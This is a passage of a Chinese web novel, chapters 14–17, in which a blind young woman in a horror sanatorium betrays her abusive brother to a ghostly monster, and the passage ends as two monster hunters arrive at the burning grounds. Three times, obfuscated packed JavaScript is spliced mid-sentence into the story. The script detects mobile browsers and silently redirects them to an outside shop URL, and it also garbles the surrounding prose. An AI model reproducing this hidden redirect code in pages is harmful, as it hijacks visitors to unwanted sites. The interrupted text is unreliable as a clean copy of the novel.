“亨利”的手很温暖,但米娅却觉得他抚摸过的地方正泛起阵阵渗人的凉意。 虽然她从未直面过其他怪物,但她却知道身边的这个怪物绝对是最棘手的那一种。他聪明、残忍、善于伪装且行事诡谲,让人根本无法理解他的思想和行为。 他这是什么意思? 他想从她这得到什么答案? 这莫非是一种新型的钓鱼执法,只要她表现出一丝心动,这个记仇的怪物就会立刻扭断她的脖子? 14.第 14 章 “不。” 米娅鼓起勇气握住了脸上的那只大手,她的声音很轻,态度却很坚决。 “你绝对不能这么做。” “亨利”反握住她的手,大拇指如往常一样摩挲着她的手背。 “为什么?” 米娅呼吸一顿,那股诡异的熟悉感又来了。 听觉和触觉不断的告诉她这就是亨利,但嗅觉却告诉她这绝不亨利。两种截然不同的认知让她忍不住再次自我怀疑,眼前的黑暗更是让她心烦意乱。 难道她真的弄错了,这就是亨利? 如果是这样的话,那她接下来的话可就绝对不能说了。 米娅沉默下来,短短的一分钟对于她来说简直比一百年还要长,她拼命的回想着刚才的细节,终于又发现了一处不同。 亨利性格傲慢自大,只把妹妹当成自己的附属品。他从不与她商量任何事情,也不会真心征求她的任何意见,而是敷衍地表示一切有他在,他会处理好一切。 但如果身边这人是索恩的话,那他为什么会知道亨利和她相处的细节,她可从没和他说过这个。除非……他看见过,他一直在暗中窥视着她和亨利。 想明白这一点的米娅咬咬牙,攥紧了对方的手。 “因为之前是我骗了你,其实索恩并没有威胁过我,是我主动去找的他……” “……你对我太严厉,总是把我关进禁闭室……我本来是想和他交个朋友,后来则是想要多一个愿意听我说话的哥哥……” “……我对你撒了谎,没想到却被他听见了……” 米娅将自己主动去找索恩的事美化成被亨利打击过后的任性行为。明明她之前做梦都想挑拨索恩和亨利打起来,但此刻的她却装出悲天悯人的模样,苦笑着道。 “我本来是因为害怕被你再次关进禁闭室才撒谎的,没想到我的世界从此以后彻底变成了那间黑暗的禁闭室。不过这也是我应得的,没什么好抱怨的。” “哥哥,我知道你是为了我好,但是算了吧,当初疗养院死了那么多人才只是把索恩困住,想要杀掉他肯定会死更多的人。我不想有任何人因为我的罪过而受到伤害。” “亨利”沉默片刻,缓缓抽回手。 “米娅,你太让我失望了。” 米娅轻声道歉:“哥哥,对不起。你要罚我去禁闭室吗?” “不。我不会再罚你去禁闭室了。已经很晚了,早些休息吧。” 黑暗中的那道人影俯下身,在米娅的侧脸落下一吻:“晚安。我亲爱的妹妹。” 这距离实在太近了,近得米娅能够清楚的发现吻她的“人”根本没有呼吸。但她还是选择了抬头回吻。 因为看不见位置,她的吻不小心落在了人影的唇角,温热柔软、一触即离。 “晚安,我亲爱的哥哥。” 人影动作一顿,随后起身离开。先是皮鞋踏过瓷砖的声音再次响起,接着是卧室门被关上,最后是套间的大门被关上。 皮鞋的脚步声在门关上的下一秒迅速消失,漆黑瘦削的人影行走在布满玻璃渣的地毯上,却没有传出任何声响。 随着他越走越远,拐角处的灯光开始隐约照出了他的轮廓,紧接着他的身影一闪消失在了原地。 * 尖顶小楼的顶楼房间依旧寂静无声,漆黑的角落里,索恩坐在冷冰冰的轮椅上,抬头看向窗外苍白的月光。 他冰凉的手缓缓抬起抚上唇角,似乎还能闻到那淡淡的洋甘菊味。这是他偷来的吻,一个本属于亨利·沃莫尔的晚安吻。 意识到自己在做什么后,索恩握紧轮椅扶手,心中满是自我厌弃。只觉得此刻的自己简直就像只恶心的下水道老鼠。 一边憧憬着人类世界的光明和温暖,一边为自己能够偷到人类的一点残羹冷炙而沾沾自喜。 但很快另一个念头闪过,他垂头看向自己的手,生平第一次如此专注的观察它。他就这样看了许久,一直到阴云遮蔽了月光,房间彻底沉入黑暗。 “撒谎。” 索恩声音阴沉的收回手,他终于意识到自己刚刚的伪装有一个非常明显的漏洞——气味。 所以这个晚安吻不是他偷来的,她知道他不是亨利,刚刚的一切不过是又一出虚伪的谎言。 * “啊!!!” 第二天清晨五点,一声响彻云霄的尖叫将米娅从睡梦中惊醒,她困得眼皮还在打架,强制开机的大脑一片混沌,身体却已经动了起来。 她以最快的速度穿上拖鞋,摸着墙走出房间,因为走得太急,中途小腿还被客厅的什么东西磕了一下,疼得她倒吸一口凉气。 当她打开门后,嘈杂的声音立刻蜂拥而来,她看不见走廊的情况,但却能听到外面似乎有很多人。 此刻技能图标的充能已经达到了17%,米娅的眼睛已经恢复了一小半,即使隔着医用眼罩也能明显看见光亮了。 她强忍住拉下眼罩看一看的冲动,茫然的转头想要询问周围人到底发生了什么。结果她还没问出声,就有人先一步询问她昨晚是否看见了什么。 米娅:??? 她摸了摸脸上的医用眼罩,非常遗憾的表示她是个瞎子,什么也看不见。 提问的护工也意识到自己问了个离谱的问题,于是快速将满地碎玻璃渣的地毯,走廊全部爆裂的顶灯,走廊尽头大开的窗户,坠楼而亡的护士等等事情全盘托出。 其余医护人员也围了上来,你一言我一语。 “我昨晚负责巡夜,按理来说坠楼的动静非常大,但是无论是我还是其他值班人员都没有听到任何动静,直到今天早上我们才发现了玛吉的尸体,以及她尸体边破碎的护身符……” “我不理解,上次出事的护工是新来的,他没有护身符又冒然违背禁令,被那个怪物杀死很正常,但玛吉明明佩戴了护身符,为什么还会遭到毒手?” “米娅小姐,你昨晚有没有听见什么?或者注意到什么异样?” 护身符是疗养院所有医护人员对抗怪物的最后一道防线,他们正是因为知道怪物不敢靠近自己才会如此有恃无恐,但现在情况不一样了,玛吉护士的死亡触动了他们敏感的神经。 他们也顾不上和米娅小姐保持距离了,急切的想要找到玛吉护士死亡的真相。 米娅闻言也被吓得脊背一凉,如果她猜的不错的话,玛吉护士应该是在离开她房间不久后遇害的。 当她在浴缸里悠闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870771|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡澡的时候,和她仅有两门之隔的玛吉护士正在被索恩拖入黑暗,最终从顶楼坠落,摔成了一滩烂泥。 如果昨晚她没有给出一个让索恩满意的答案,她恐怕会落得个和玛吉护士一样的下场。 “我什么都没听见。” 面对众人的询问,米娅选择隐瞒了昨晚“亨利”的事情。 就算之后亨利带着更多的医护人员赶来查看现场,询问她昨晚的情况,她也依然一口咬死了自己什么都不知道。 玛吉的死宣告着护身符已经无法保证众人的生命安全了。在这种极度缺乏安全感的时候,任何一点和索恩有关的事情都会被不断放大。 她无法说清楚索恩为什么要伪装成亨利来找她,又为什么在杀了玛吉护士后放过了她。所以 还是干脆闭嘴好了,以免节外生枝。 好在在场不少人都见过米娅双眼被蠕动的黑雾包裹的画面,就连多疑的亨利都没有怀疑她的说辞。只当是怪物不屑于理会一个可怜的瞎子,杀死玛吉护士后就立刻离开了。 医护人员之间的气氛变得紧绷,内里暗潮涌动,大团阴云逐渐飘过来遮蔽了刚刚升起的太阳,整个疗养院风雨欲来。 到了中午,天空阴云密布,空气湿度更大了,狂风吹得窗帘猎猎作响。 电梯抵达一楼,米娅从电梯中走出,像模像样的用新得到的导盲杖敲打着地面,慢慢穿过走廊走进热闹的餐厅。 一位好心的老奶奶上前搀扶她,将今日的菜肴一一说给她听,还帮忙把餐盘拿到了桌子上。 “谢谢你,沃特金斯太太。” 米娅真诚的道谢,早上也是这位好心人帮她拿的早餐。 “只是小事而已。” 沃特金斯太太怜惜的牵着米娅往前走:“我刚刚看见很多维修工人坐电梯上去,听说是顶楼走廊的灯爆炸了?” “住在顶楼对你来说太不方便了,不如搬到低层来吧。如果你愿意住在我隔壁就再好不过了。我相信我们会相处得很不错的。” 米娅沉默了一瞬,亨利让人掩盖了玛吉护士的死亡。餐厅里的这些老人根本不知道疗养院正在不断发生血腥命案,就像他们不知道自己的身体早已成为了变异鳗鱼幼苗的温床。 沃特金斯太太的手干燥温暖,带着纯粹的善意和慈爱。她身上的腥气还很淡,这说明她的身体还没被鳗鱼蛀空,现在离开还有得救。 “哥哥说我的病比较特殊,住在顶楼对我的身体有好处。而且低层的人太多,我更喜欢安静。” 米娅被搀扶着坐在了椅子上,她将导盲杖放在一边,压低声音道:“沃特金斯太太,你知道前些天那个跳楼的护工吗?” 沃特金斯太太唏嘘道:“知道,听说那人是个赌棍,因为欠了巨额的债务还不清,于是选择了跳楼自杀。” 米娅:“这我倒是不知道,不过我听说昨晚又有一个护士跳楼了,再加上上次露天泳池的那场血案,你不觉得……” “米娅小姐,院长让我带你去他办公室一趟。” 米娅话还没说完,一道突兀的男性粗嗓子就打断了她的话,她动作一顿,摸索着拿起桌上的水喝了一口。 “……好的,不过得等我先用完午餐。” 15.第 15 章 米娅根据那道粗嘎的男性嗓音认出来人就是吉尔经理,本以为那只是一句警告,却不想在她沉默的吃完午餐后,吉尔经理就好似幽灵一样立刻出现在她背后,表示要带她去见亨利院长。 米娅隐约觉得有些问题,不想过去。 “哥哥最近不是很忙吗?我现在过去会不会打扰到他?” 吉尔经理:“当然不会,这是院长要求的,你从小就体弱多病,最近眼睛还出现了问题,院长担心这会影响到你的心理健康,所以想要和你聊聊。” 不明真相的沃特金斯太太感慨道:“你哥哥真是关心你。” 米娅僵硬的扯出一个微笑,心里暗骂:放屁,她才没有病,真正有病的分明是亨利,这个该死的赛级纯血种变态,重度繁殖癌! 虽然她心里很不情愿,但吉尔经理态度坚决,她也只能跟着他离开。 吉尔经理握着导盲杖的一端走在最前面,米娅则握着导盲杖的另一端亦步亦趋的跟在后面,刚走出餐厅大门,吉尔经理就发出了警告。 “米娅小姐,想必你也知道,疗养院最近发生了一些不好的事情,院长和我们为此都非常忙碌。” “我们这么努力不仅是为了保证自己的安全,也在保证你的安全,所以还请你乖一点,不要再任性了。” “就算你是院长最宠爱的妹妹,公然违抗院长的命令依然会让他不高兴的,我想你应该也不想再被关进禁闭室吧?那滋味可不好受。” 米娅攥紧了手中的导盲杖,手指用力到泛白。虽然来到这个疗养院后她已经见识了很多恐怖恶心的事情。但那两天两夜的禁闭室依然是她最不想回忆的噩梦。 而吉尔经理的那句“最宠爱的妹妹”更是让她恶心得想吐。 “……我知道了。” 这群该死的鳗鱼汁爱好者,她早晚把你们和那些变异鳗鱼一起打成鱼丸,然后倒进马桶里狂按冲水键! 米娅低垂着头在心里默念小不忍则乱大谋,这才控制住自己的怒火。然而走着走着,她忽然发现不对劲了, “吉尔经理,这似乎不是去医疗部大楼的路?” 她之前可是刻意背过疗养院的布局图,所以哪怕她现在什么也看不见,她也依然可以确定从餐厅的大门去往医疗部大楼绝不该是往这个方向走。它们之间的最近路线也绝不该有柔软的草地。她立刻停下脚步,站在草地上不走了。 吉尔经理解释:“我们不去医疗部,院长不在那,他现在在另一处办公室等你。” 米娅依然没有动:“哥哥还有另一处办公室?它在哪?” 吉尔经理有些不耐烦道:“就在前面的水疗中心,米娅小姐,请你走快点吧,院长最近确实很忙,别让他等急了。你知道的,他一向不喜欢别人浪费他的时间。” 水疗中心?亨利让她去那做什么? 米娅有些踌躇,但想到自己的新计划需要和亨利拉近关系,她还是再次跟上了吉尔经理。 * 水疗中心讲究的是私密、安静、放松,让人能够全身心的融入水的世界。所以除了宽敞空旷的一楼大厅以外,其他楼层都是由大量不同功能的水疗室组成。 这里的走廊弯弯绕绕的好似迷宫,光线昏暗,空气潮湿,呼吸间满是水汽,耳边时不时传来哗啦啦的水声,让人仿佛置身于幽静的海底。 米娅跟着吉尔经理穿过一楼大厅,乘坐电梯往楼上去,在复杂的走廊间七拐八拐,不知走了多久,吉尔经理终于停下来敲响了一扇门。 晕头转向的米娅根本不知道自己在水疗中心的哪里,只能听到门打开后,吉尔经理和亨利的交谈声。 “院长,米娅小姐来了。” “嗯,你可以走了。” “好的。院长。” 吉尔经理走出房间,顺手将门也给关上了。 忽然,一声轰隆的雷鸣炸响,那声音大得像是近在耳边,随后暴雨倾盆而下,哗啦啦的雨声好似密集的鼓点敲打在米娅的心头,让她莫名紧张起来。 “别怕,只是打雷而已。” 皮鞋踏地的熟悉声音逐渐靠近米娅,一只温暖的大手牵着她往前走。 “昨晚照顾你的玛吉护士死了,你有被吓到吗?” 米娅心头划过一丝古怪,他们早上才见过面,那个时候亨利只顾着带人追查玛吉护士的死因,压根没空理会她,怎么现在又突然想起来关心她了? 她的注意力从那轰鸣的雷雨声转移到了身边人的身上,湿润的水汽随着呼吸不断涌入她的肺部,让她立刻意识到了一件恐怖的事情。 这个“亨利”的身上同样没有任何气味……他根本不是亨利,而是索恩! 怎么会…… 米娅瞬间头皮发麻,再次觉得自己的大脑不够用了。 她迅速回想刚才的一切,确定吉尔经理的身上有很明显的腥臭味。也正是这熟悉的腥臭味让她对这方面放松了警惕,这才没有第一时间怀疑亨利的真实性。 为什么吉尔经理会把她带到索恩的面前,难道吉尔经理已经滑跪叛变了?他就是传说中的人奸? 不过比起吉尔经理的立场,此刻米娅更想知道的是索恩的脑子里到底在想些什么,他一而再再而三的伪装亨利来骗她是想从她这得到什么? 情报吗? 人与怪物的碟中碟中谍? “怎么不说话?” “亨利”引领着米娅坐下,真皮沙发柔软又富有弹性,米娅却觉得自己陷进了泥泞的沼泽里。 “……有一点。” “只是一点吗?” “亨利”在米娅的身边坐下,亲昵的抬手将她脸侧的碎发撩到耳后。 “我记得你早上听说这事的时候脸色非常苍白,简直和死去的玛吉护士一模一样。” 轰隆隆! 又是一声惊雷炸响。 那近乎恶毒的话语好似毒蛇在米娅的耳边嘶嘶吐信,一点也不像是温文尔雅的亨利会说出来的。 她敏锐的察觉到了“亨利”对待她的态度与昨晚不太一样,一时不知该怎么回答,只能沉默以对。 “亨利”并不在意她的沉默,很自然的话锋一转:“其实我今天找你来,是想找你聊聊该怎么杀死那个怪物。” 米娅当即抬头:“哥哥,我之前说过了……” 她话还没说完,一只温热的手指就抵在了她的唇上,将她剩下的话都压了回去。 “亨利”:“我明白你的意思,但你要知道我们面对的是一个嗜血、残忍的怪物,他已经盯上了我们,如果不杀了他,他就会杀了你和我。” “告诉我,米娅,你想要被那个怪物杀死吗?像是玛吉护士一样死在一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875153|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂静黑暗的夜晚,尸体躺在冰冷潮湿的草地上一直到第二天早上才被人发现?” 米娅不想回答这个问题,但她不说话,“亨利”也不再说话,周围一片凝固的寂静,过高的湿度闷得人呼吸不畅。 在这无声的压迫下,她只能低声道:“我不想死。” “很好。” “亨利”满意道:“所以不论付出多少代价,我们都得杀了那个怪物,只有他死了,我们才能过上高枕无忧的日子。更何况我既然能杀他一次,就能杀他第二次。” 米娅迟疑:“杀?什么意思?” “亨利”语气变得平淡:“这就有些说来话长了,那你确定要听吗?” 米娅敏锐的察觉到“亨利”并不想谈论这个,但她还是选择了点头。 “亨利”沉默片刻,随后用不疾不徐的语速叙述着。 “简单来说就是那个怪物曾经是个人类。他一出生就浑身漆黑、下肢瘫痪,有着非常严重的阳光过敏症,发展到最后连灯光都会对他造成伤害,是个畸形又诡异的怪胎。” “听说他的母亲在生下他后吓得大声尖叫,连续做了好几晚上的噩梦。他的父亲厌恶的让仆人把他扔在了漆黑的地下室。后来随着他日渐长大,这件事逐渐流传出去引发了当地热议。” “于是希金斯家将他送进了我们的疗养院,只给了我们一个要求。要么治好他,要么让他永远消失。你猜我选了什么?” 米娅意识到自己好像做了一个错误的选择,第六感告诉她最好不要再听下去,但现在这种情况根本容不得她选择,她只能硬着头皮回答。 “让他永远消失?” “不,当然不。” “亨利”诧异的声音响起:“你怎么会这么想,他可是一条活生生的生命,我当然是选择了第一个:治好他。” “我们选择了电击疗法和日光疗法,尝试通过每天定时定点的强光照射和电击让他一点点脱敏,可惜效果很不理想。” “这本就够让我们烦恼的了,谁知怪胎的性格十分孤僻暴戾,不仅不配合治疗,最后甚至还谋杀了他的主治医师詹姆。” “詹姆曾经是我最得力的属下,所以当时我很生气,于是为了给他一点惩罚,我增加了那些照射灯的强度。” “结果没想到他的身体竟然直接在2000瓦的强光中气化消失了。最后电椅上只剩下一道人形的黑色灰烬,而疗养院则多了一个潜藏在黑暗里的怪物。” 米娅听得倒吸一口凉气。 2000瓦的强光?这哪里是灯被打开了,分明是第二个、第三个、第四个太阳在狭小的治疗室内升起来了! 正常人都不可能在这种恐怖强光的近距离照射下活下来,更何况还是一个有着严重光线过敏症的病人,这哪里是治疗,根本就是虐杀! “不过也正是在这样阴差阳错之下,我们才有了现在的护身符。” “亨利”抬手轻轻挑起米娅脖颈上的银项链,温柔低沉的声音搔刮过她的耳廓。 “现在……你知道这个小瓶子里装的是什么了吗?” 米娅像是一只被捏住后颈的猫,一动也不敢动,外面的雷鸣直接在她脑子里炸响,炸得她头晕目眩。 这瓶子里装的是索恩的骨灰? 她这些天竟然一直随身携带着索恩的骨灰! 16.第 16 章 “这些灰烬能够灼伤那个怪物,让他重新想起被2000瓦强光照成飞灰的痛苦,现在我需要你将项链给我,只有足够的灰烬才能彻底杀死他。” “亨利”循循善诱的索取:“把它给我。米娅。” 米娅第一反应就是原来索恩假扮成亨利为的就是骗取她的护身符,玛吉护士是否也是被他的这种招数骗掉了护身符,这才导致了死亡? 但她很快又想到索恩只能在黑暗的环境中出现,她是因为眼睛的问题,所以那天晚上才会差点被骗。 可玛吉护士既不是瞎子也不是傻子,在明知道有怪物的情况下,灯光熄灭后黑暗中突然出现熟人的声音,是个正常人都不会相信吧?更别说主动摘掉保命的护身符了。 另外亨利明确说过有了护身符后索恩就不敢靠近她了,他的语气非常笃定,显然是曾经验证过这一点。但现在这个“亨利”的指尖就落在她的脖子上,一点排斥的感觉都没有。 太多的逻辑不通让她总觉得这件事另有玄机,但信息量太少,她实在推演不出来。 米娅的睫毛不安的颤动,窗外的暴雨声和她急速的心跳声交织在一起。 给还是不给? 给,没有了护身符的庇护,她可能下一秒就会被“亨利”杀死。也可能会取悦到他,让他像是上次那样饶她一命。 不给,也许她能在护身符的庇佑下活下来,也许“亨利”真的有什么办法绕过护身符杀人,那么拒绝他的她同样会死。 * 轰隆隆! 窗外惊雷炸响,将黑沉沉的办公室照亮了一瞬。 沙发上的米娅低垂着头,黑发垂落遮住了她的大半张脸,却依然遮不住她苍白的面色以及额上的一层薄汗。纯白的医用眼罩和脖颈上的纱布绷带更为她平添一抹病气。 漆黑的人影目光阴冷的看着她,将她的所有情绪都尽收眼底。 就在这时,原本紧闭的大门被“砰”的打开,手电筒的光芒和亨利的声音几乎是同时刺破黑暗。 “米娅!” 亨利和个医护人员出现在门外,光柱照进来的瞬间,沙发上的漆黑人影迅速消失,黑暗的角落里却再次传来他温柔的声音:“把它给我,米娅。” 门口的亨利立刻反应过来:“米娅,别给他,那不是我!” 米娅没想到亨利会在这个关键时刻赶到,她松了一口气,故作茫然的扭头。 “你们……到底谁才是真的?” 几个医护人员大喝:“我们才是真的。” “米娅小姐,你得把护身符给我们!” “这是我们唯一的希望了,绝对不能给他!” 亨利:“米娅,听我说,我们这些护身符里装着的灰烬是那个怪物唯一的弱点,世界上唯一能克制他的东西。只要集齐足够的灰烬就能彻底杀死他。” “灰烬的数量稀少,你的护身符对我们来说至关重要,绝对不能被那个怪物毁了。快到我身边来。” 米娅握住胸口的玻璃瓶:“索恩说……他曾是疗养院的病人,是哥哥你杀了他,这里面装着的是他死后残留的灰烬。” 亨利眉头紧皱,强忍着焦躁继续诱哄道:“别叫他索恩,那是个怪物,一个嗜血残忍的怪物!” “我不知道他到底对你说了什么,但无论他对你说了什么你都不要相信,怪物的话怎么能信?” “你要记住,我和你是同胞兄妹,我们才是这个世界上最亲近的人,这个世界上只有我会对你好,只有我不会骗你。难道你宁愿相信一个怪物,也不愿意相信哥哥吗?” “来,到哥哥的身边来。我向你保证,用不了多久一切就会彻底结束,疗养院很快就会恢复往日的模样。” 米娅握着小瓶子的手紧了紧,她站起身,一步步朝着光亮照来的方向走去。亨利始终不敢迈进房间,只能站在门口用言语指点她该怎么走。 黑暗的角落,索恩阴沉沉的视线随着米娅而移动。 她果然还是选择了亨利。 不过没关系,因为所谓的“用灰烬绘制的驱魔法阵就可以彻底杀死恶灵”只是他故意引导他们发现的骗局而已。 他已经迫不及待想要看着他们将所有的灰烬用光,却发现驱魔法阵根本不起作用后的绝望表情了,一定非常可笑。 而等到所有人都死了,他的妹妹自然会乖乖回到他身边。他知道她惧怕他,排斥他,恨不得他彻底消失,但已经无所谓了。 是她先说的哥哥就是家人,而家人最重要的就互相陪伴。既然说好了要永远相伴,那就少一分一秒都不行。 米娅也注意到了暗处的凝视,她的手心都是汗,生怕索恩会突然发难,好在最后什么事都没有发生,她很快就走到了门口,抬起的手摸索到了门板。 亨利也松了口气,当即握住米娅的手腕:“跟我走。” 他用的力气极大,似乎在惩罚米娅刚才的犹豫。 米娅因为手腕的疼痛瑟缩的低头,仿佛一个懦弱的受气包。却在跟着亨利转身的瞬间,从宽大的裙子口袋里掏出一支针管狠狠扎进了他的胳膊。冰凉的液体立刻被注入了他体内,就像他们曾对待疯老头以及其他不配合的病人那样。 同一时间,米娅迅速抽回另一只手拽下了亨利脖子上的项链,猛推了他一把。 砰! 亨利撞在了前面一位医生身上,两人立刻摔作一团。而米娅已经趁此机会摸索着敞开的房门,从光明的世界逃离,主动回到了那间黑暗的房间。 另外几个医护人员惊叫出声,不可置信的看着还扎在亨利胳膊上的针筒。他们根本想不到一个瞎子会突然袭击人,更想不到身为妹妹的米娅竟然会在这种情况下袭击自己的哥哥! 超量的镇定剂让亨利的身体迅速麻木,躺在走廊的地面根本无法动弹。他的眼珠极力看向那扇门,原本温文尔雅的相貌变得扭曲。 “米娅!为什么?你竟敢背叛我?!” 米娅又往黑暗中缩了缩,语气冷酷:“因为我不想疗养院恢复往日的模样,我想毁了它,更想毁了你。” 亨利虚弱的低吼:“我是你哥哥,你竟然投靠一个怪物!你以为这样会得到什么好下场吗?他一定会杀了你的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878316|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不,在我看来你才是真正的怪物。” 米娅扭头朝着更深处的黑暗道,轻声提醒:“你还不动手吗?再不快一点,他就要昏过去了。” 她不希望亨利昏过去,她真诚的希望他能痛苦的死去,就像她当初被关在那间漆黑狭小的禁闭室整整两天两夜,叫天天不应叫地地不灵那样痛苦。 房间内一片沉默,没有人回应米娅的话,但走廊的灯光却在这时闪烁起来,每一次闪烁的瞬间,医护人员都能看见黑暗中一道漆黑的人影轮廓离他们越来越近。 几个医护人员尖叫着连滚带爬的逃跑,亨利眼中的暴怒变成了恐惧,他躺在地上对着逃跑的医护人员大喊。 “带我一起逃,没有我你们永远也别想再有新的生命精华!把你们的护身符给我,给我一条护身符!快给我一条护身符!” 亨利话音未落,就见逃跑的几人陆续停住了脚步,朝他的方向转身,他顿时心中狂喜,还以为自己有救了,但很快这份惊喜就凝固在了他的脸上。 只见那几个医护人员仿佛变了一个人一样,一个个面目呆滞、步履迟缓,他们一边走一边拽下胸口的护身符扔在地上,一脚踩得粉碎。 碎裂的玻璃声刺激着亨利紧绷的神经,这一刻他终于明白玛吉护士为什么会死了。 “不……不不不……米娅,救我,快把护身符还给我!我可是你血脉相连的亲哥哥!” 随着药效上来,亨利的眼前开始阵阵发黑,只能强撑着转动眼珠再次看向那扇敞开的门,朝躲在黑暗中的米娅求救。 窗外震耳欲聋的雷鸣和密集的暴雨陪着他一起竭力嘶吼,然而无论他用麻木的唇舌说了多少好话、软话和哀求,却自始至终都没有得到任何回应。就像他从未理会过那间禁闭室内的哀求一样。 最终亨利绝望的陷入昏迷,而就在他意识消散的前一秒,一道冰冷的声音传入他的耳中。 “2000瓦的强光还有持续的电击……这是你应得的。” * 站在门后的米娅看不见走廊的情况,却能听到玻璃碎裂的声音,亨利戛然而止的呼救,最后是外面几人迟缓呆板的脚步声以及重物被拖拽的声音逐渐远去。 索恩没有立刻杀死亨利,但她已经猜到了亨利的结局。而她之前的猜测也得到了证实,索恩果然有绕过护身符杀人的办法,幸亏她没有选择亨利。 周围再次恢复了寂静,窗外的雷鸣和暴雨不知何时已经停了,只剩下稀稀拉拉的水珠滴落声。 一阵冷风吹过,米娅低垂下头,她知道索恩此刻就站在前方居高临下的看着她。那道如有实质的审视扫视着她的每一寸肌肤,好在那种让人头皮发麻的尖锐感消失了不少。 “为什么?” “什么?” 一双冰凉的大手捧住她的脸颊,以不容抗拒的力道逼迫她抬起头。 “为什么不跟他走?为什么……要帮我?” 人类天生向往光明,唯有她一次次主动迈入黑暗。 不是恐惧他吗?不是厌恶他吗?对于她来说,他到底算什么? 17.第 17 章 米娅沉默了几秒,将手中属于亨利的护身符扔在地上,又将脖子上的护身符拽下来扔掉。她卸下所有防御,抬手覆盖住脸侧的大手。 “不管你信不信,我那天说的都是真话。” 活人的温度随之而来,索恩像是被灼烧一样迅速抽回手,两人初见时的那些话开始不断在他耳边回荡。 米娅露出一个苦笑,再次低下头语气倦怠的开口。 “比起选择亨利继续延续这污浊的血脉,或许死亡才是我最好的归宿。如果你想杀我就动手吧。我只求你最后一件事,别把我埋在这里,埋在哪里都好,烧成灰随风而散也好,总之就是别埋在这座疗养院里……” “我从未想过要杀你。” 黑暗寂静的房间内,漆黑的人影抱住米娅,在她耳边低语。 “我们是兄妹,我们会永远相伴。在没到达永远之前,我绝不允许你死去,死亡亦是背叛。” 活人的温暖和淡淡的洋甘菊味好似一张密不透风的网笼罩住他的全部感官,被烈日灼烧的幻痛再次传来,但他的双臂却越收越紧。 米娅身形僵硬的站在那里,任由这条冰冷贪婪的巨缠绕住她的全身,再一点点收紧,狰狞的蟒头搭在她的颈窝,冰冷滑腻的蛇信在吞吐间不断擦过她的耳廓,发出嘶嘶低鸣。 她冷得心底发颤,却还是缓缓伸出手回抱住了索恩,扯出一个开心的笑容。 “是吗?那可真是……太好了。” * 笔直的森林公路上,两辆车擦肩而过,驶向不同方向。 片刻后,黑色的雪佛兰拐了个弯,开始顺着一圈圈的盘山公路往山顶而去。车上坐着一对年轻的驱魔人兄弟,这座疗养院今早给驱魔师协会发了求助信息,他们离得最近,就过来看一看。 哥哥迪恩坐在驾驶位,跟着节奏强劲的摇滚乐摇头晃脑,脸上的笑容浪荡又潇洒。 “听说这个疗养院的水疗非常有效,专供有钱人,不知道我们到时候能不能享受一下。” 他的弟弟萨姆坐在副驾驶,闻言心不在焉的抬头看向山顶处的疗养院。 “我们是来猎魔的,可不是来享受的。快点解决掉这个,我们好赶紧去找老爸……” 他话还没说完,就猛然拔高了声音:“迪恩,快看那是什么!” 迪恩抬头看去,只见山顶上正升起一缕黑烟,并且以肉眼可见的速度越来越大,逐渐覆盖住小半的尖顶建筑。 他目光一凝,嘴上却还在开玩笑道:“我由衷的希望这家疗养院正在开超大型的烧烤派对,这样我们就可以一边水疗一边吃烤肉了。” 萨姆神情严肃:“别说了,快开车!” “我本来就是在开车。” 迪恩熟练的一踩油门,雪佛兰瞬间变成一道黑色闪电疾驰而去。 原本十几分钟的车程被他压缩到了五分钟,疗养院平日紧闭的大铁门此刻大喇喇的敞开着,他们直接开车进去,一路上没有遇到任何阻拦,甚至没有看见任何工作人员。唯有角落里的斑斑血迹和掩盖不住的血腥味不断冲击着他们的视觉和嗅觉。 迪恩和萨姆的心越来越沉,他们开着车一路横冲直撞的进了疗养院的中心地带,最终一个急刹在水疗中心前方的空地上停下。他们已经用上了最快的速度赶到,但火势蔓延的速度却远比他们想象的还要快。 只见水疗中心和周围的好几栋大楼都在熊熊燃烧,火光映红了半边天,滚滚浓烟直入云霄。一群穿着浴袍、睡袍的老人站在安全的空地上,双眼空洞呆滞的望着前方的大火,手里紧握着空油桶和打火机,好似一座座沉默冰冷的石膏雕像。 迪恩和萨姆走下车,下意识放轻了呼吸。生怕惊扰到这些明显不对劲的老人, “看来这是个大家伙,我们必须得小心点了。” 迪恩快速打开后备箱,从中取出一把保养良好的手木仓,装填上岩盐子弹。 随后他小心的靠近一个老人,想要查看情况,谁知他的枪刚碰到老人的肩膀,对方就立刻身体一晃,软倒在地。 他吓了一跳,赶忙举起双手对弟弟萨姆道:“我什么都没干!” “我知道。” 萨姆紧握武器,眉头紧皱的示意他看向周围:“我也什么都没干。” 